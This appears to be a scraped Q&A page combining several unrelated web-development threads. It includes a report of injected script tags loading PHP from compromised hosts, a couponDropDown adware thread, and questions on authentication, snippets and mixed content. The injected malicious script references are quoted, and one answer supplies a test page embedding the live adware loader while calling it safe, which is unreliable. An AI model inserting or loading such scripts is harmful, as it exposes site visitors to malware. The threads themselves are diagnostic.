Weird script reference injection in my htmls - html

One friend is uploading flash files to my server with all the html package that the Flash CS6 editor suggests in its export command.
Well, despite all the Flash discussion and so, the problem is that eventually a very weird script references appear into the head element:
<!--339810--><script type="text/javascript">var gwloaded = false;</script>
<script src="http://techmounting.com.au/KsEsFOFC.php" type="text/javascript"></script><!--/339810-->
This script reference is not in the original html file.. this smells a virus, but I don't find any reference in the whole google.. I don't know if is a virus in my friend's computer or in my server or what.
Any idea?
Another examples (not in my server)
http://www.iu-jaen.es (no visit with browser)
http://www.alliedcarehomehealth.com (no visit with browser)
<script type="text/javascript">var gwloaded = false;</script>
<script src="http://shinhanvn.com.vn/Uploads/iOVAO5QT.php" type="text/javascript"></script>

Your web server has been compromised. TL;DR your website will display a content blocking interstitial to visiting users, which will direct them towards a suspicious binary download. The cause of the security breach is unclear, but I would take the normal precautions: reset relevant passwords, look for suspicious code snippets on PHP/javascript files.
Google also has a nice overview for some steps you can take to clean up your site (update third party plugins, change PWs, etc.):
https://support.google.com/webmasters/answer/163634
See this security posting from WebSense for a summary of the behavior of this attack:
http://community.websense.com/blogs/securitylabs/archive/tags/Mass+Injection/default.aspx

Related

HTML: liking resources (stylesheets / scripts) that require Windows Authentication

I have a situation where, in an HTML page, I have these two resources in the <head> tag:
<link rel="stylesheet" href="https://some-server.local/styles.css">
<script src="https://some-server.local/script.js"></script>
For reasons that are unfortunately beyond my control, the linked resources in question require Windows Authentication to be accessed. In other words: the browser will prompt me with a popup asking for user/pass if I try to go to those addresses directly, as in the following screen:
However, if I just put the tags in the head like shown above, the browser will NOT show the authentication popup, it will simply fail.
Is there a way I can link those resources and force the browser to show the authentication popup?
After some more tests, I concluded that browsers actually do ask for credentials if you link resources that are behind Windows Authentication. I don't know why it didn't work before, maybe there was something wrong with my html. So basically, what I wanted to do is already implemented.

Can I use code libraries items/snippets in Brackets like they are implemented in Dreamweaver?

I like working with the Brackets code editor for most of my projects. However, my team is doing a particular project right now for which we are going to need to create multiple re-usable components to provide prototype demos. We've used a GIT workflow to build all the various components and put them together on multiple prototype HTML pages.
However, every time the designer wants to make an update to a particular component/widget - we need to update it manually across all of the prototype pages.
I'm seeking a way to make a reusable code block like how Adobe Dreamweaver uses Library Items to streamline this workflow https://helpx.adobe.com/dreamweaver/using/library-items.html
I can't locate the equivalent in Brackets. I looked at this plugin https://github.com/chuyik/brackets-snippets - but I don't think it's what I need.
Is there a convenient solution to this? Perhaps I can just use import functions embedded in the HTML code to insert/import widget HTML code from another dir?
Update:
I have just attempted to use a JQuery solution as proposed here Include another HTML file in a HTML file but previewing the file locally - it does not appear to work. It gives an error like so
XMLHttpRequest cannot load file:///D:/Ryan%20GitHub/SLQ-Homepage-with-packery/html/widget-social.html. Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https, chrome-extension-resource.k.cors.a.crossDomain.send # jquery.js:8625
I think I need to try this on a local server - shame it won't work on local preview :#
Best solution I can come up with for the time being is to use jQuery as I'm already using the library for interactions on our pages.
<html>
<head>
<script src="jquery.js"></script>
<script>
$(function(){
$("#includedContent").load("b.html");
});
</script>
</head>
<body>
<div id="includedContent"></div>
</body>
</html>
Unfortunately, it does not work or preview locally in my Chrome browser because of the cross domain blocking protocol. It's not that fast either but it will do.
Well you could use PHP includes. They work similarly as what you are describing with jquery. Simply put, create the file that has the code you want and name it something.php Then do a simple php include.
<?php
include('something.php');
?>
You can also organize the includes into a folder called inc to keep it more organized. I do this for all my website for footers, nav's, menues, etc. I update one file and boom, it updates across every webpage at once. Been doing this for years. Hope this helps anyone else that comes across this, since it is an older thread.

Ad couponDropDown

I've got a problem concerning famous on-site ads malware, specifically Ad couponDropDown.
I'm aware that usually these ads are created via malware on computer, or as browser Add-on. However, my hard drive and my firefox, both are clean, but ads is still shown on particular website that I created a long time ago.
It is inserted between two divs as html tag with random generating class.
Site is running on wordpress with iThemes security (formerly better security) - with latest update and none high-risks issues.
As I downloaded and updated plugin the ad itself disappeared, but left blank container and "ads by coupon | close" link.
For now I hid center tag via css.
I appreciate any response.
Link to site (it's in slovenian):
http://www.grasshopper.si/
I had the same problem. Suddenly, a site I manage was full of banners from "couponDropDown". My problem was not about a local virus in my computer too.
Here is what i found, and how I solved it:
As I mentioned before, I manage a Moodle site where other users managed courses.
In two courses, managed by the same person, the couponDropDown nightmare appeared. But not in others. The problem was restricted to a certain courses from a certain person.
Obviously, it was content loaded by that person, but it was not obvious where it was.
After looking for a while, in the WYSIWYG editor, looking at the HTML source, some scripts tags having the following structure were found:
<p>Some HTML over here</p><script src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=10368"></script>
All over the course, that script was found. This caused some iframes to be created, and some content from http://advertising-support.com/ to be loaded.
Finally, I just thought that the computer of the person managing those two courses was infected AND (here is the important thing) introducing that code in the editor without being noticed, and loading that script in the site. Those scripts finally loaded tons of banners and the like. Really smart.
SOLUTION: went all over those two courses content looking for the script loading from akamaihd.net.
I guess you may have had the same issue. Maybe you are using a WYSIWYG editor in your backend and that script is attached to the rest of the content without you noticing it.
You may analize your database looking for that script (and as of November 5 2014, it is still there :)
If you are curious, just C&P this code in a html file and load with your local server. With a developer tool, just surf the newly HTML introduced. You will se some iframes, objects loading falsh, some net traffic, and the like but no actual content is showed:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf8">
<title>couponDropDown test</title>
</head>
<body>
<p>Some HTML over here</p>
<script src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=10368"></script>
</body>
As an example, I think it is useful. And as far as I can say, it is safe! Hope it helps!

HTML5 - Do users get to see all my client code?

If I am building an HTML5 web app.. And all the rendering, UI events, etc are handled on the client, then the client gets to see the source code correct?
I am working on an enterprise HTML5 application but Id like the source code to be hidden. Are there any options?
Is it also possible to somehow hide UI graphic elements (buttons, backgrounds, sounds, etc?)
What are the options here?
Thank you
My ready answer is No : your javascript code as well as links to jQuery UI code is visible on the client's asking to "view the source".
The question is : Is it possible for your code to be applied/run by the client's browser without being shown as "source?"Is there a way :- to prevent the client from seeing the "source"; or - to destroy the incoming code as soon as it has been run and displayed once?
The second eventuality seems excluded unless there are no further javascript actions on the client's side(?)
Danquest
Quick answer: No.
Why? Well, your browser (the client) effectively downloads assets like HTML, JS and CSS (along with images and other media objects), to render on the users machine.
Because all client code is downloaded to the client, the user can essentially do with the client code, whatever they wish to.
Server side code does not get to the client, because it is processed on the server, which then produces client translatable output...again, HTML etc. You only see the end result, with the source that produced it locked away on your guarded server.
Your best bet, is to simply minify and compress your JS assets. This won't do much against a savvy developer, but it may be off-putting to the casual thief.
In any case, theft is theft and if your code is found to be used by someone else's company, I guess you have a case to file a lawsuit against them...even though in a way, it's public code.
Make sure you put a license statement with all of your code, so that you're legally covered.

google chrome https error

my site getting the problem while typing https:www.mysite.com/
showing red cross mark in the url head and i didnt find the problem .can any one help .
in chrome help they given
"Your connection to the site is encrypted, but Google Chrome has detected mixed scripting on the page. Be careful if you’re entering personal information on this page. Mixed scripting can provide a loophole for someone to take over the page. This content could be third-party scripts or videos embedded on the page.
If you’re connected to the Internet via a public wireless network, mixed scripting is especially risky because wireless networks are easier to tamper with than wired networks."
please help me
This error generally means that the site itself is being loaded over HTTPS, but that it's loading resources (scripts, style, images, etc) via HTTP. This is usually the result of hard-coding absolute URLs like:
<script src="http://mysite.com/path/to/resource.js"></script>
Changing references like that use HTTPS:
<script src="https://mysite.com/path/to/resource.js"></script>
----^----
should solve the problem.